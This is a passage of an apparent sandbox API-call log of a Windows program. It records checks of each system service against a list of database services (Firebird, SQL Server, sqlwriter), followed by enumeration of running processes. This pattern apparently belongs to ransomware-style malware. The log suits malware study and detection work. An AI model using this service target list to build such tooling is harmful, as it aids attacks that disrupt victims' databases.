(lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0233.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0233.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0233.666] lstrlenW (lpString="Dnscache") returned 8 [0233.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0233.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0233.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0233.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0233.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0233.666] lstrlenW (lpString="DPS") returned 3 [0233.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0233.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0233.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0233.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0233.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0233.666] lstrlenW (lpString="DusmSvc") returned 7 [0233.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0233.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0233.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0233.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0233.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0233.666] lstrlenW (lpString="EventLog") returned 8 [0233.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0233.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0233.666] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0233.666] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0233.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0233.667] lstrlenW (lpString="EventSystem") returned 11 [0233.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0233.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0233.667] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0233.667] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0233.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0233.667] lstrlenW (lpString="FontCache") returned 9 [0233.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0233.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0233.667] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0233.667] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0233.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0233.667] lstrlenW (lpString="gpsvc") returned 5 [0233.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0233.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0233.667] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0233.667] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0233.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0233.667] lstrlenW (lpString="iphlpsvc") returned 8 [0233.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0233.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0233.667] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0233.667] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0233.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0233.667] lstrlenW (lpString="KeyIso") returned 6 [0233.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0233.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0233.667] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0233.667] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0233.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0233.667] lstrlenW (lpString="LanmanServer") returned 12 [0233.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0233.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0233.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0233.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0233.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0233.668] lstrlenW (lpString="LanmanWorkstation") returned 17 [0233.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0233.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0233.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0233.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0233.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0233.668] lstrlenW (lpString="lfsvc") returned 5 [0233.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0233.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0233.668] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0233.668] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0233.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0233.668] lstrlenW (lpString="lmhosts") returned 7 [0233.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0233.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0233.668] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0233.668] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0233.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0233.668] lstrlenW (lpString="LSM") returned 3 [0233.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0233.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0233.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0233.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0233.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0233.668] lstrlenW (lpString="MpsSvc") returned 6 [0233.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0233.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0233.668] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0233.668] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0233.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0233.669] lstrlenW (lpString="NcbService") returned 10 [0233.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0233.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0233.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0233.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0233.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0233.669] lstrlenW (lpString="netprofm") returned 8 [0233.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0233.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0233.669] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0233.669] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0233.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0233.669] lstrlenW (lpString="NgcSvc") returned 6 [0233.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0233.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0233.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0233.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0233.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0233.669] lstrlenW (lpString="NlaSvc") returned 6 [0233.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0233.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0233.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0233.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0233.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0233.669] lstrlenW (lpString="nsi") returned 3 [0233.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0233.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0233.669] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0233.669] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0233.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0233.669] lstrlenW (lpString="PcaSvc") returned 6 [0233.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0233.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0233.670] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0233.670] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0233.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0233.670] lstrlenW (lpString="PlugPlay") returned 8 [0233.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0233.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0233.670] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0233.670] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0233.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0233.670] lstrlenW (lpString="Power") returned 5 [0233.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0233.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0233.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0233.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0233.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0233.670] lstrlenW (lpString="ProfSvc") returned 7 [0233.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0233.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0233.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0233.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0233.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0233.670] lstrlenW (lpString="RpcEptMapper") returned 12 [0233.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0233.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0233.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0233.670] lstrlenW (lpString="RpcSs") returned 5 [0233.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0233.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0233.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0233.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0233.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0233.671] lstrlenW (lpString="SamSs") returned 5 [0233.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0233.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0233.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0233.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0233.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0233.671] lstrlenW (lpString="Schedule") returned 8 [0233.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0233.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0233.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0233.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0233.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0233.671] lstrlenW (lpString="SecurityHealthService") returned 21 [0233.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0233.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0233.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0233.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0233.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0233.671] lstrlenW (lpString="SENS") returned 4 [0233.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0233.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0233.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0233.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0233.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0233.671] lstrlenW (lpString="ShellHWDetection") returned 16 [0233.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0233.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0233.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0233.672] lstrlenW (lpString="Spooler") returned 7 [0233.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0233.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0233.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0233.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0233.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0233.672] lstrlenW (lpString="StateRepository") returned 15 [0233.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0233.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0233.672] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0233.672] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0233.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0233.672] lstrlenW (lpString="SysMain") returned 7 [0233.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0233.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0233.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0233.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0233.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0233.672] lstrlenW (lpString="SystemEventsBroker") returned 18 [0233.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0233.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0233.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0233.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0233.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0233.672] lstrlenW (lpString="Themes") returned 6 [0233.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0233.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0233.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0233.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0233.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0233.672] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0233.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0233.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0233.673] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0233.673] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0233.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0233.673] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0233.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0233.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0233.673] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0233.673] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0233.673] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110678 | out: hHeap=0x670000) returned 1 [0233.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c8 [0233.984] Process32FirstW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.985] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.985] lstrlenW (lpString="System") returned 6 [0233.985] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.986] lstrlenW (lpString="smss.exe") returned 8 [0233.986] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.987] lstrlenW (lpString="csrss.exe") returned 9 [0233.987] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.987] lstrlenW (lpString="wininit.exe") returned 11 [0233.987] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.988] lstrlenW (lpString="csrss.exe") returned 9 [0233.988] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.989] lstrlenW (lpString="winlogon.exe") returned 12 [0233.989] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.989] lstrlenW (lpString="services.exe") returned 12 [0233.989] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.990] lstrlenW (lpString="lsass.exe") returned 9 [0233.990] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.990] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0233.990] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.991] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0233.991] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.991] lstrlenW (lpString="svchost.exe") returned 11 [0233.991] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.992] lstrlenW (lpString="svchost.exe") returned 11 [0233.992] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.993] lstrlenW (lpString="dwm.exe") returned 7 [0233.993] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.993] lstrlenW (lpString="svchost.exe") returned 11 [0233.993] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.994] lstrlenW (lpString="svchost.exe") returned 11 [0233.994] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.994] lstrlenW (lpString="svchost.exe") returned 11 [0233.994] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.995] lstrlenW (lpString="svchost.exe") returned 11 [0233.995] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.995] lstrlenW (lpString="svchost.exe") returned 11 [0233.995] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.996] lstrlenW (lpString="svchost.exe") returned 11 [0233.996] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.996] lstrlenW (lpString="svchost.exe") returned 11 [0233.996] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.997] lstrlenW (lpString="svchost.exe") returned 11 [0233.997] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, 